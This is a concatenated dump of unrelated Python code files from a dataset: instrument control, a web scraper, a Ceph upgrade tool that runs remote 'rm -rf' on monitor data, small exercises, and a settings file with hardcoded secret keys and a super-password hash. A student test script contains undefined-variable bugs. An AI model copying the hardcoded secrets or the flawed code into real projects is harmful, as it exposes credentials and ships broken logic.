action=['Set',float(1e-7)])\n marker_source(awgsess, action=['Set',int(7)])\n for ch in range(2):\n channel = str(ch + 1)\n output_config(awgsess, RepCap=channel, action=[\"Set\", 0]) # Single-ended\n output_filter_bandwidth(awgsess, RepCap=channel, action=[\"Set\", 0])\n arb_gain(awgsess, RepCap=channel, action=[\"Set\", 0.5])\n output_impedance(awgsess, RepCap=channel, action=[\"Set\", 50])\n # output settings:\n for ch in range(2):\n channel = str(ch + 1)\n output_enabled(awgsess, RepCap=channel, action=[\"Set\", int(1)]) # ON\n output_filter_enabled(awgsess, RepCap=channel, action=[\"Set\", True])\n output_config(awgsess, RepCap=channel, action=[\"Set\", int(2)]) # Amplified 1:2\n output_filter_bandwidth(awgsess, RepCap=channel, action=[\"Set\", 0])\n arb_gain(awgsess, RepCap=channel, action=[\"Set\", 0.5])\n output_impedance(awgsess, RepCap=channel, action=[\"Set\", 50])\n return awgsess\ndef compose_DAC(awgsess,pperiod,xyiflevel,xypdelay,xypwidth,roiflevel,ropdelay,ropwidth):\n # PENDING: to be adjusted\n Clear_ArbMemory(awgsess)\n WAVE = []\n \n # construct waveform:\n ifperiod = pperiod.data[caddress[structure.index('Pulse-Period')]]\n ifscale = float(xyiflevel.data[caddress[structure.index('XY-ifLevel')]]), float(roiflevel.data[caddress[structure.index('RO-ifLevel')]])\n\n if \"lockxypwd\" in str(ropdelay.data[0]): \n if '+' in str(ropdelay.data[0]): rooffset = float(ropdelay.data[0].split('+')[1])\n else: rooffset = 0 # default value\n ifdelay = float(xypdelay.data[caddress[structure.index('XY-Pulse-Delay')]]), float(xypwidth.data[caddress[structure.index('XY-Pulse-Width')]]) + rooffset\n print(\"RO-Pulse Delays behind XY-Pulse for %sns\" %(ifdelay[1]-ifdelay[0]))\n else: \n ifdelay = float(xypdelay.data[caddress[structure.index('XY-Pulse-Delay')]]), float(ropdelay.data[caddress[structure.index('RO-Pulse-Delay')]])\n\n ifontime = float(xypwidth.data[caddress[structure.index('XY-Pulse-Width')]]), float(ropwidth.data[caddress[structure.index('RO-Pulse-Width')]])\n for ch in range(2):\n channel = str(ch + 1)\n wavefom = squarewave(ifperiod, ifontime[ch], ifdelay[ch], ifscale[ch]) # in ns\n stat, wave = CreateArbWaveform(awgsess, wavefom)\n print('Waveform channel %s: %s <%s>' %(channel, wave, status_code(stat)))\n WAVE.append(wave)\n # Building Sequences:\n for ch in range(2):\n channel = str(ch + 1)\t\n status, seqhandl = CreateArbSequence(awgsess, [WAVE[ch]], [1]) # loop# canbe >1 if longer sequence is needed in the future!\n # print('Sequence channel %s: %s <%s>' %(channel, seqhandl, status_code(status)))\n # Channel Assignment:\n stat = arb_sequence_handle(awgsess, RepCap=channel, action=[\"Set\", seqhandl])\n # print('Sequence channel %s embeded: %s <%s>' %(channel, stat[1], status_code(stat[0])))\n # Trigger Settings:\n for ch in range(2):\n channel = str(ch + 1)\n operation_mode(awgsess, RepCap=channel, action=[\"Set\", 0])\n trigger_source_adv(awgsess, RepCap=channel, action=[\"Set\", 0])\n Init_Gen(awgsess)\n Send_Pulse(awgsess, 1)\n\n# 5. Test Zone\ndef test(detail=True):\n debug(detail)\n print(Fore.RED + \"Debugger mode: %s\" %eval(debugger))\n s = InitWithOptions()\n Abort_Gen(s)\n if detail:\n # basic queries:\n resource_descriptor(s)\n model(s)\n active_marker(s)\n marker_source(s)\n marker_delay(s)\n output_clock_freq(s)\n\n # Setting Marker:\n ref_clock_source(s)\n ref_clock_source(s, action=[\"Set\", 0])\n ref_clock_source(s)\n active_marker(s, action=[\"Set\", \"3\"])\n active_marker(s)\n marker_source(s, action=[\"Set\", 10])\n marker_source(s)\n marker_delay(s, action=[\"Set\", 1e-7])\n marker_delay(s)\n marker_pulse_width(s, action=[\"Set\", 1e-7])\n marker_pulse_width(s)\n\n # Preparing AWGenerator\n output_mode_adv(s, action=[\"Set\", 2])\n output_mode_adv(s)\n predistortion_enabled(s, action=[\"Set\", False])\n predistortion_enabled(s)\n\n # Setting Sample Rate\n arb_sample_rate(s, action=[\"Set\", 1250000000])\n arb_sample_rate(s)\n \n # Clear_ArbMemory(s)\n\n # 0.8ns per point:\n # CH 1\n # stat = CreateArbWaveform(s, ([0]*5000 + [1]*1000))\n from numpy import sin, pi, cos\n freq, dt = 60/1000, 0.8\n wave = [1*sin(x*freq*dt*2*pi) for x in range(10000)] # I\n stat = CreateArbWaveform(s, wave)\n ch1 = stat[1]\n\n # CH 2\n # stat = CreateArbWaveform(s, ([0]*5000 + [1]*1000))\n freq, dt = 60/1000, 0.8\n wave = [1*cos(x*freq*dt*2*pi) for x in range(10000)] # Q\n stat = CreateArbWaveform(s, wave)\n ch2 = stat[1]\n\n # Composing different sequences to each channel\n # Channel 1\n i = 1\n if i:\n # Seq, counts = [h1, h3], [1, 2] #Seqhandles, loops#\n Seq, counts = [ch1], [1] #unique wfm\n stat = CreateArbSequence(s, Seq, counts)\n print(\"Sequence handle for CH1: %s\" %stat[1])\n arb_sequence_handle(s, RepCap='1', action=[\"Set\", stat[1]])\n arb_sequence_handle(s, RepCap='1')\n output_enabled(s, RepCap='1', action=[\"Set\", True])\n output_enabled(s, RepCap='1')\n output_filter_enabled(s, RepCap='1')\n output_filter_enabled(s, RepCap='1', action=[\"Set\", False])\n output_filter_bandwidth(s, RepCap='1')\n output_filter_bandwidth(s, RepCap='1', action=[\"Set\", 0])\n output_config(s, RepCap='1')\n output_config(s, RepCap='1', action=[\"Set\", 0])\n arb_gain(s, RepCap='1', action=[\"Set\", 0.25])\n arb_gain(s, RepCap='1')\n output_impedance(s, RepCap='1', action=[\"Set\", 50])\n output_impedance(s, RepCap='1')\n # Setting pulse mode (Single or Continuous)\n operation_mode(s, RepCap='1')\n operation_mode(s, RepCap='1', action=[\"Set\", 0])\n trigger_source_adv(s, RepCap='1')\n trigger_source_adv(s, RepCap='1', action=[\"Set\", 0])\n burst_count(s, RepCap='1', action=[\"Set\", 1000001])\n\n # Channel 2\n i = 1\n if i:\n # Seq, counts = [h2, h3], [1, 1] #Seqhandles, loops#\n Seq, counts = [ch2], [1] #unique wfm\n stat = CreateArbSequence(s, Seq, counts)\n print(\"Sequence handle for CH2: %s\" %stat[1])\n arb_sequence_handle(s, RepCap='2', action=[\"Set\", stat[1]])\n arb_sequence_handle(s, RepCap='2')\n output_enabled(s, RepCap='2', action=[\"Set\", False])\n output_enabled(s, RepCap='2')\n output_filter_enabled(s, RepCap='2')\n output_filter_enabled(s, RepCap='2', action=[\"Set\", False])\n output_filter_bandwidth(s, RepCap='2')\n output_filter_bandwidth(s, RepCap='2', action=[\"Set\", 0])\n output_config(s, RepCap='2')\n output_config(s, RepCap='2', action=[\"Set\", 0])\n arb_gain(s, RepCap='2', action=[\"Set\", 0.25])\n arb_gain(s, RepCap='2')\n output_impedance(s, RepCap='2', action=[\"Set\", 50])\n output_impedance(s, RepCap='2')\n # Setting pulse mode (Single or Continuous)\n operation_mode(s, RepCap='2')\n operation_mode(s, RepCap='2', action=[\"Set\", 0])\n trigger_source_adv(s, RepCap='2')\n trigger_source_adv(s, RepCap='2', action=[\"Set\", 0])\n burst_count(s, RepCap='2', action=[\"Set\", 1000001])\n \n if not bool(input(\"Press ENTER (OTHER KEY) to initiated (skip) generation: \")):\n Init_Gen(s)\n Send_Pulse(s, 1)\n else: Clear_ArbMemory(s) #remove waveform\n \n else: print(Fore.RED + \"Basic IO Test\")\n close(s)\n return\n\n# test()\n","sub_path":"TEST/FACE/pyqum/instrument/machine/AWG.py","file_name":"AWG.py","file_ext":"py","file_size_in_byte":31303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"278338221","text":"# -*- coding: utf-8 -*-\n\nimport scrapy\nfrom ..keywords import KWS\nfrom ..items import PyjobItem\nfrom ..pymods import xtract, parse_datetime\nimport time\n\nclass TopdevSpider(scrapy.Spider):\n name = \"topdev\"\n allowed_domains = [\"topdev.vn\"]\n start_urls = [\n (\"https://topdev.vn/search/keywords/\" + kw) for kw in KWS\n ]\n\n def parse(self, resp):\n if not resp.xpath('//div[@class=\"col-lg-12 col-md-12 col-sm-1'\n '2 col-xs-12 no-padding title-jobs\"]/@href')\\\n .extract():\n for href in resp.xpath('//div[@class=\"col-lg-12 col-md-12 col-sm-1'\n '2 col-xs-12 no-padding title-jobs\"]/a/'\n '@href').extract():\n yield scrapy.Request(href, self.parse_content)\n\n def parse_content(self, resp):\n item = PyjobItem()\n item[\"name\"] = xtract(resp, '//div[@class=\"col-lg-12 col-md-12 col-sm-'\n '12 col-xs-12 title_name_job no-padding\"]/'\n 'h1/text()')\n item[\"province\"] = resp.xpath('//div[@class=\"col-md-12 col-lg-12 col'\n '-xs-12 col-sm-12 no-padding\"]/span/'\n 'text()').extract()[0]\n for span in resp.xpath('//div[@class=\"intro-jobs col-lg-12 col-md-12 '\n 'col-sm-12 col-xs-12 no-padding margin-top-5'\n ' margin-bottom-5\"]'):\n wage = xtract(span, 'span[1]/text()')\n item[\"wage\"] = wage.split(':')[1].strip()\n experience = xtract(span, 'span[2]/text()')\n item[\"experience\"] = experience.split(': ')[1]\n expiry = xtract(span, 'span[4]/text()')\n expiry = expiry.split(' :')[1]\n item[\"expiry_date\"] = parse_datetime(expiry)\n for li in resp.xpath('//div[@id=\"desc_job\"]'):\n list_text = []\n p = xtract(li, 'p/text()')\n list_text.append(p)\n pstrong = xtract(li, 'p/strong/text()')\n list_text.append(pstrong)\n ullip = xtract(li, 'ul/li/p/text()')\n list_text.append(ullip)\n pp = xtract(li, 'p/p/text()')\n list_text.append(pp)\n pbr = xtract(li, 'p/br/text()')\n list_text.append(pbr)\n pspan = xtract(li, 'p/span/text()')\n list_text.append(pspan)\n pemstrong = xtract(li, 'p/em/strong/text()')\n list_text.append(pemstrong)\n pstrongem = xtract(li, 'p/strong/em/text()')\n list_text.append(pstrongem)\n pstrongspan = xtract(li, 'p/strong/span/text()')\n list_text.append(pstrongspan)\n pspanem = xtract(li, 'p/span/em/text()')\n list_text.append(pspanem)\n ulli = xtract(li, 'ul/li/text()')\n list_text.append(ulli)\n\n item[\"content\"] = '|'.join(list_text).strip()\n yield item","sub_path":"pjvn/pjvn/spiders/topdev.py","file_name":"topdev.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"33238177","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport contextlib\nimport itertools\nimport os\nimport re\nimport subprocess\nimport tarfile\n\nfrom cliff import command as cmd\nfrom fuelclient.objects import environment as environment_obj\n\nfrom octane import magic_consts\nfrom octane.util import env as env_util\nfrom octane.util import node as node_util\nfrom octane.util import ssh\n\n\ndef short_hostname(hostname):\n return hostname.partition('.')[0]\n\n\ndef remove_mask(ip_addr):\n return ip_addr.partition('/')[0]\n\n\ndef replace_addresses(conf, hostnames, mgmt_ips):\n mon_initial_members = ' '.join(hostnames)\n mon_host = ' '.join(mgmt_ips)\n\n conf = re.sub(r'\\n(mon_initial_members\\s+=\\s+)[-.\\w\\s]*\\n',\n \"\\n\\g<1>{0}\\n\".format(mon_initial_members),\n conf)\n conf = re.sub(r'\\n(mon_host\\s+=\\s+)[-.\\w\\s]*\\n',\n \"\\n\\g<1>{0}\\n\".format(mon_host),\n conf)\n return conf\n\n\ndef get_fsid(conf):\n match = re.search(r'\\nfsid\\s+=\\s+([-.\\w]+)\\s*\\n', conf)\n if match is not None:\n return match.group(1)\n\n\ndef replace_host(conf, hostname):\n conf = re.sub(r'\\n(host\\s+=\\s+)[-.\\w\\s]*\\n',\n \"\\n\\g<1>{0}\\n\".format(hostname),\n conf)\n return conf\n\n\ndef import_bootstrap_osd(node):\n ssh.call(['ceph', 'auth', 'import', '-i',\n '/root/ceph.bootstrap-osd.keyring'], node=node)\n ssh.call(['ceph', 'auth', 'caps', 'client.bootstrap-osd', 'mon',\n \"allow profile bootstrap-osd\"], node=node)\n\n\ndef get_ceph_conf_filename(node):\n cmd = [\n 'bash', '-c',\n 'pgrep ceph-mon | xargs -I{} cat /proc/{}/cmdline',\n ]\n cmdlines = ssh.call_output(cmd, node=node)\n if cmdlines:\n cmdline = cmdlines.split('\\n')[0].split('\\0')\n for i, value in enumerate(cmdline):\n if value == '-c' and i < len(cmdline):\n return cmdline[i + 1]\n return '/etc/ceph/ceph.conf'\n\n\ndef ceph_set_new_mons(seed_env, filename, conf_filename, db_path):\n nodes = list(env_util.get_controllers(seed_env))\n hostnames = map(short_hostname, node_util.get_hostnames(nodes))\n mgmt_ips = map(remove_mask, node_util.get_ips('management', nodes))\n\n with contextlib.closing(tarfile.open(filename)) as f:\n conf = f.extractfile(conf_filename).read()\n conf = replace_addresses(conf, hostnames, mgmt_ips)\n\n fsid = get_fsid(conf)\n monmaptool_cmd = ['monmaptool', '--fsid', fsid, '--clobber', '--create']\n for node_hostname, node_ip in itertools.izip(hostnames, mgmt_ips):\n monmaptool_cmd += ['--add', node_hostname, node_ip]\n\n for node, node_hostname in itertools.izip(nodes, hostnames):\n node_db_path = \"/var/lib/ceph/mon/ceph-{0}\".format(node_hostname)\n node_conf = replace_host(conf, node_hostname)\n try:\n ssh.call(['stop', 'ceph-mon', \"id={0}\".format(node_hostname)],\n node=node)\n except subprocess.CalledProcessError:\n pass\n ssh.call(['rm', '-rf', node_db_path], node=node)\n node_util.untar_files(filename, node)\n sftp = ssh.sftp(node)\n with sftp.open(conf_filename, 'w') as f:\n f.write(node_conf)\n ssh.call(['mv', db_path, node_db_path], node=node)\n\n sysvinit = os.path.join(node_db_path, 'sysvinit')\n try:\n sftp.remove(sysvinit)\n except IOError:\n pass\n upstart = os.path.join(node_db_path, 'upstart')\n sftp.open(upstart, 'w').close()\n\n with ssh.tempdir(node) as tempdir:\n monmap_filename = os.path.join(tempdir, 'monmap')\n ssh.call(monmaptool_cmd + [monmap_filename], node=node)\n ssh.call(['ceph-mon', '-i', node_hostname, '--inject-monmap',\n monmap_filename], node=node)\n\n for node, node_hostname in itertools.izip(nodes, hostnames):\n ssh.call(['start', 'ceph-mon', \"id={0}\".format(node_hostname)],\n node=node)\n import_bootstrap_osd(nodes[0])\n\n\ndef extract_mon_conf_files(orig_env, tar_filename):\n controller = env_util.get_one_controller(orig_env)\n conf_filename = get_ceph_conf_filename(controller)\n conf_dir = os.path.dirname(conf_filename)\n hostname = short_hostname(\n node_util.get_hostname_remotely(controller))\n db_path = \"/var/lib/ceph/mon/ceph-{0}\".format(hostname)\n node_util.tar_files(tar_filename, controller, conf_dir, db_path)\n return conf_filename, db_path\n\n\ndef upgrade_ceph(orig_id, seed_id):\n orig_env = environment_obj.Environment(orig_id)\n seed_env = environment_obj.Environment(seed_id)\n\n tar_filename = os.path.join(magic_consts.FUEL_CACHE,\n \"env-{0}-ceph.conf.tar.gz\".format(orig_id))\n conf_filename, db_path = extract_mon_conf_files(orig_env, tar_filename)\n ceph_set_new_mons(seed_env, tar_filename, conf_filename, db_path)\n\n\nclass UpgradeCephCommand(cmd.Command):\n \"\"\"update Ceph cluster configuration.\"\"\"\n\n def get_parser(self, prog_name):\n parser = super(UpgradeCephCommand, self).get_parser(prog_name)\n parser.add_argument(\n 'orig_id', type=int, metavar='ORIG_ID',\n help=\"ID of original environment\")\n parser.add_argument(\n 'seed_id', type=int, metavar='SEED_ID',\n help=\"ID of seed environment\")\n return parser\n\n def take_action(self, parsed_args):\n upgrade_ceph(parsed_args.orig_id, parsed_args.seed_id)\n","sub_path":"octane/commands/upgrade_ceph.py","file_name":"upgrade_ceph.py","file_ext":"py","file_size_in_byte":5948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"60563487","text":"import unittest\nfrom bootstrap.bootstrap import Bootstrap\nimport numpy as np\n\nclass BootstrapInit(unittest.TestCase):\n def setUp(self):\n self.bootstrap = Bootstrap()\n np.random.seed(0)\n self.normal_data = np.random.normal(100, 10, size=100)\n np.random.seed(0)\n self.uniform_data = np.random.uniform(0, 100, size=100)\n np.random.seed(0)\n self.matrix_data = np.random.normal(100, 10, size=(100,100))\n \n\nclass ResamplingTestCase(BootstrapInit):\n def testNonparametric(self):\n bootstrap_data = self.bootstrap.bootstrap_sample(self.normal_data)\n self.assertAlmostEqual(np.mean(self.normal_data)/10000, np.mean(bootstrap_data)/10000, 3)\n self.assertEqual(len(bootstrap_data), len(self.normal_data))\n \n def testNormalParametric(self):\n bootstrap_data = self.bootstrap.bootstrap_sample(self.normal_data, parametric='normal')\n self.assertAlmostEqual(np.mean(self.normal_data)/10000, np.mean(bootstrap_data)/10000, 3)\n self.assertEqual(len(bootstrap_data), len(self.normal_data))\n \n def testUniformParametric(self):\n bootstrap_data = self.bootstrap.bootstrap_sample(self.uniform_data, parametric='uniform')\n self.assertAlmostEqual(np.mean(self.uniform_data)/10000, np.mean(bootstrap_data)/10000, 3)\n self.assertEqual(len(bootstrap_data), len(self.uniform_data))\n\nif __name__ == '__main__':\n unittest.main()\n ","sub_path":"tests/test_resampling.py","file_name":"test_resampling.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"597282509","text":"import logging\nfrom p11a import Foo2\n\nlogging.basicConfig(filename=\"./logging.log\",\n\t\tformat='%(asctime)-6s:%(name)s -%(levelname)s-%(module)s -%(funcNmae)s -%(lineno)d - %(message)s',\n\t\tlevel=logging.DEBUG)\n\nclass Foo1(object):\n\tdef foo(self,text):\n\t\tf2=Foo2()\n\t\tf2.foo('foo2nan')\n\t\tlogging.info('use logging in foo1')\n\t\tlogging.info(text)\nif __name__=='__main__':\n\tf=Foo1()\n\tf.foo('foo1haha')\n","sub_path":"py/03042016/p11.py","file_name":"p11.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"227283578","text":"##### TEST-Programm ######\n\nfrom aufg5 import Interval\nfrom aufg6 import Rectangle\nimport sys\nimport stddraw\nimport random\nimport numpy as np\n\n\n\ndef test (n, x, y, w, h):\n\n #Fenstergröße setzen\n stddraw.setCanvasSize(x, y)\n stddraw.setXscale(-1, x / 4 + w + 1) \n stddraw.setYscale(-1, y / 4 + h + 1)\n\n # Arrays für die Zwischenschritte\n umfang = []\n inhalt = []\n schneidet = []\n beinhaltet = []\n rechteck_parameter = []\n\n # for-schleife aufsetzen\n\n for i in range(n):\n\n x_koord = random.uniform(0, x//2)\n y_koord = random.uniform(0, y//2)\n breite = random.uniform(0, w)\n höhe = random.uniform(0, h)\n \n #erstelle ein Rechteckt aus den Parametern\n rec = Rectangle(x_koord, y_koord, breite, höhe)\n\n #Umfang und Flächeninhalt berechnen\n umfang += [rec.perimeter()]\n inhalt += [rec.area()]\n\n #zeichnen\n rec.draw()\n\n # alle parameter des Rechteckes speichern\n rechteck_parameter += [(x_koord, y_koord, breite, höhe)]\n\n # wie viele Rechtecke schneidet ein Rechteck?\n for s1 in range(n):\n intersects = 0\n contains = 0\n\n # Erstelle ein neues Array mit den Parametern aller Vergleichsrechtecke\n ohne_aktuelles_rechteck = []\n ohne_aktuelles_rechteck = rechteck_parameter.copy() # Kannst du dir hier ale Werte aus dem oben erstellen Array kopieren?\n ohne_aktuelles_rechteck.pop(s1)\n\n # Erstelle das Ausgangsrechteck ...\n x = rechteck_parameter[s1][0]\n y = rechteck_parameter[s1][1]\n w = rechteck_parameter[s1][2]\n h = rechteck_parameter[s1][3]\n orig = Rectangle(x, y, w, h)\n\n\n for s2 in range(len(rechteck_parameter)):\n\n #Vergleichsrechteck\n x1 = ohne_aktuelles_rechteck[s2][0]\n y1 = ohne_aktuelles_rechteck[s2][1]\n w1 = ohne_aktuelles_rechteck[s2][2]\n h1 = ohne_aktuelles_rechteck[s2][3]\n vergleich = Rectangle(x1, y1, w1, h1)\n\n if Rectangle.intersects(orig, vergleich) is True:\n anz_intersects += 1\n\n if Rectangle.contains(orig, vergleich) is True:\n anz_contains += 1\n\n\n schneidet += [intersects]\n beinhaltet += [contains]\n\n # Durchschnittsberechnungen\n avg_area = np.mean(inhalt)\n avg_perimeter = np.mean(umfang)\n avg_contains = np.mean(beinhaltet)\n avg_intersects = np.mean(schneidet)\n\n\n\n print('durchschnittlicher Flächeninhalt: ' + str(avg_area))\n print('durchschnittlicher Umfang: ' + str(avg_perimeter))\n print('durchschnittliche Anzahl sich schneidender Paare: ' + str(avg_intersects))\n print('durchschnittliche Anzahl enthaltener Rechtecke: ' + str(avg_contains))\n\n\n stddraw.show()\n\n \n \n\n\n \n \n\n \n\ndef main():\n n = int(sys.argv[1])\n x = int(sys.argv[2])\n y = int(sys.argv[3])\n w = int(sys.argv[4])\n h = int(sys.argv[5])\n test(n,x,y,w,h)\n \n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"vorlesung2/test_6.py","file_name":"test_6.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"190093891","text":"resh = 1/3\na = -1\nb = 1\nx05 = []\nresult = []\nN = int(input('Введите кол-во шагов: '))\nh = (b - a) / N\n\nfor i in range(0, N):\n x05.append((a + i * h) - 0.5 * h)\n result.append(x05[i] ** 2 / 2 * h)\n\nprint('Интеграл равен: {}'.format(sum(result)))\ndifference = sum(result) - resh\nprint('Погрешность: {}%'.format(round(difference * 100)))\n","sub_path":"n4.py","file_name":"n4.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"276684304","text":"#!/bin/python3\n\n\nif __name__ == '__main__':\n n = int(input())\n\n left_list = []\n middle_list = []\n right_list = []\n\n\n def number(result):\n \"\"\"\n Форматирует результат в соответствии с заданием\n \"\"\"\n res = int(result * 10) / 10\n return res\n\n\n def record():\n \"\"\"\n Записывае значения из middle_list в кучи\n значение большее в right_list\n значение большее в left_list\n \"\"\"\n right_list.insert(0, middle_list.pop())\n left_list.append(middle_list.pop())\n\n\n def sorted():\n \"\"\"\n Сортирует среднюю кучу слева на право\n слева наименьшее значение справа наибольшее\n \"\"\"\n if middle_list[1] < middle_list[0]:\n middle_list[1], middle_list[0] = middle_list[0], middle_list[1]\n return\n\n\n def sorting(stack, num, start, stop):\n \"\"\"\n Сортирует кучу слева на право\n слева наименьшее значение справа наибольшее\n \"\"\"\n if start > stop:\n stack.insert(start, num)\n else:\n mid = (start + stop) // 2\n if num == stack[mid]:\n stack.insert(mid, num)\n elif num < stack[mid]:\n return sorting(stack, num, start, mid - 1)\n else:\n return sorting(stack, num, mid + 1, stop)\n\n\n flag = 1\n for _ in range(n):\n num = int(input())\n if flag == 1:\n \"\"\"\n пришло первое число в middle_list.append, кучи пока пустые\n (left_list и right_list пустые)\n \"\"\"\n middle_list.append(num)\n result = number(num)\n flag = 2\n\n elif flag == 2:\n \"\"\"\n пришло второе число в middle_list.append, кучи пока пустые\n (left_list и right_list пустые)\n \"\"\"\n middle_list.append(num)\n result = number((middle_list[0] + middle_list[1]) / 2)\n flag = 0\n sorted()\n record()\n\n else:\n if num <= left_list[-1]:\n sorting(left_list, num, 0, (len(left_list) - 1))\n middle_list.append(left_list.pop())\n else:\n sorting(right_list, num, 0, (len(right_list) - 1))\n middle_list.append(right_list.pop(0))\n if len(middle_list) == 1:\n result = number(middle_list[0])\n elif len(middle_list) == 2:\n sorted()\n result = number((middle_list[0] + middle_list[1]) / 2)\n record()\n\n print(result)\n","sub_path":"ctci_find_the_running_median.py","file_name":"ctci_find_the_running_median.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"187864092","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 9 16:01:38 2018\n\n@author: George\n\"\"\"\n\nimport pygame\nimport sys\nimport time\nimport random\nimport numpy as np\nfrom gridData import Grid\n\nfrom pygame.locals import *\n\nFPS = 5\npygame.init()\nfpsClock=pygame.time.Clock()\n\nSCREEN_WIDTH, SCREEN_HEIGHT = 320, 320\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT), pygame.RESIZABLE)\nsurface = pygame.Surface(screen.get_size())\nsurface = surface.convert()\nsurface.fill((255,255,255))\nclock = pygame.time.Clock()\n\npygame.display.set_caption(\"Cell World Display Test\")\n\npygame.key.set_repeat(1, 40)\n\nGRIDSIZE = 50\nROWS = GRIDSIZE\nCOLUMNS = GRIDSIZE\nGRID_WIDTH = SCREEN_WIDTH / ROWS\nGRID_HEIGHT = SCREEN_HEIGHT / COLUMNS\n\nscreen.blit(surface, (0,0))\n\nBLACK = (0, 0,0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nYELLOW = (255, 255, 0)\nBLUE = (0,0,255)\nGREEN = (0,255,0)\n\n\ndef draw_box(surf, color, pos):\n r = pygame.Rect((pos[0], pos[1]), (GRID_WIDTH, GRID_HEIGHT))\n pygame.draw.rect(surf, color, r)\n\n\n\nclass World(object):\n def __init__(self):\n self.colourList = [BLACK, WHITE, GREEN, BLUE, RED, YELLOW]\n self.randomWorld = np.random.randint(len(self.colourList), size=(ROWS, COLUMNS))\n print(self.randomWorld)\n \n def draw(self, surf):\n x = 0\n y = 0\n for x in range(ROWS):\n for y in range(COLUMNS):\n draw_box(surf, self.getColour(x,y), (x*GRID_WIDTH,y*GRID_HEIGHT))\n y = y + 1\n x = x+1\n y = 0\n \n def getColour(self, x,y):\n return self.colourList[self.randomWorld[x,y]]\n \n def updateStauts(self):\n self.randomWorld = np.random.randint(len(self.colourList), size=(ROWS, COLUMNS))\n \n \n\nif __name__ == '__main__':\n testWorld = World()\n while True:\n\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n\n if event.type == pygame.VIDEORESIZE:\n surface = pygame.display.set_mode((event.w, event.h),\n pygame.RESIZABLE)\n GRID_WIDTH = event.w / GRIDSIZE\n GRID_HEIGHT = event.h / GRIDSIZE\n\n surface.fill((255,255,255))\n testWorld.draw(surface)\n testWorld.updateStauts()\n\n #font = pygame.font.Font(None, 36)\n #text = font.render(str('Hello'), 1, (10, 10, 10))\n #textpos = text.get_rect()\n #textpos.centerx = 20\n #surface.blit(text, textpos)\n screen.blit(surface, (0,0))\n\n pygame.display.flip()\n pygame.display.update()\n fpsClock.tick(FPS)","sub_path":"cell_evolution/wroldDepiction2.py","file_name":"wroldDepiction2.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"463455974","text":"list1 = ['R1', 'R2', 'R3', 'R4', 'R5']\nlist2 = ['A', 'B', 'C', 'D', 'E']\n\nwith open('CHECKFD.sql', 'w') as file:\n for i in list1:\n for j in list2:\n for k in list2:\n if j != k:\n file.write(f\"\"\"\nSelect '{i}: {j} --> {k}' AS FD,\n CASE WHEN COUNT(*)=0 THEN 'HOLDS'\n ELSE 'DOES NOT HOLD' END AS VALIDITY\nFROM (\n SELECT {j}\n FROM {i}\n GROUP BY {j}\n HAVING COUNT (DISTINCT {k}) > 1\n) X;\"\"\")\n\nlist1 = ['R2']\nwith open('CHECKMVD.sql', 'w') as file:\n for i in list1:\n for j in list2:\n for k in list2:\n for u in list2:\n if j != k:\n if k != u:\n file.write(f\"\"\"\nSELECT IF (COUNT(*) = 0, 'MAYBE MVD', 'NO MVD') AS MVD \nFROM (SELECT {j}\n FROM {i}\n GROUP BY {j}\n HAVING (COUNT(DISTINCT {k}) * COUNT(DISTINCT {u}) \n <> COUNT(*))\n) X;\n\"\"\")\n","sub_path":"GSF/dw_10/DW10.py","file_name":"DW10.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"275902343","text":"# -*- coding: utf-8 -*-\n\nimport os\nfrom commons.Utils.path_utils import get_dir_path\n\nOS = 'linux'\nDEBUG = False\nXSRF = '__xsrf'\nDEFAULT_LOCAL = 'zh_CN'\nACCESS_TOKEN_EXPIRE = 60 * 60 * 2\nREFRESH_TOKEN_EXPIRE = 60 * 60 * 24 * 7\nSUPER_PASSWORD = 'bc8720e67deb87b2a32131b07605813f'\nSECRET_KEY = '2f3c330a-7557-4705-9a61-8a4cc8d8698c'\nSALT = 'cf70538d-46a6-47f7-bc99-51c3e45126ea'\n\nJWT_SECRET_KEY = '7f8512a4-afe7-4941-a0c0-62e75dc8edd4' # 密钥\nJWT_TIMEOUT = 2 * 60 * 60 # 超时时间,单位: s\nJWT_REFRESH_TIMEOUT = 7 * 24 * 60 * 60 # 超时时间,单位: s\n\nSITE_ROOT = os.path.dirname(os.path.abspath(__file__))\nSITE_PROTOCOL = 'http'\nSITE_DOMAIN = '127.0.0.1'\nSITE_PORT = 8088\n\nRPC_MODULE_LIST = []\n\nLOG_PATH = get_dir_path(SITE_ROOT, 'logs')\nSTATIC_PATH = get_dir_path(SITE_ROOT, 'static')\nDATAFILE_PATH = get_dir_path(SITE_ROOT, 'static', 'data_file')\nSTATIC_ZIPFILE_PATH = 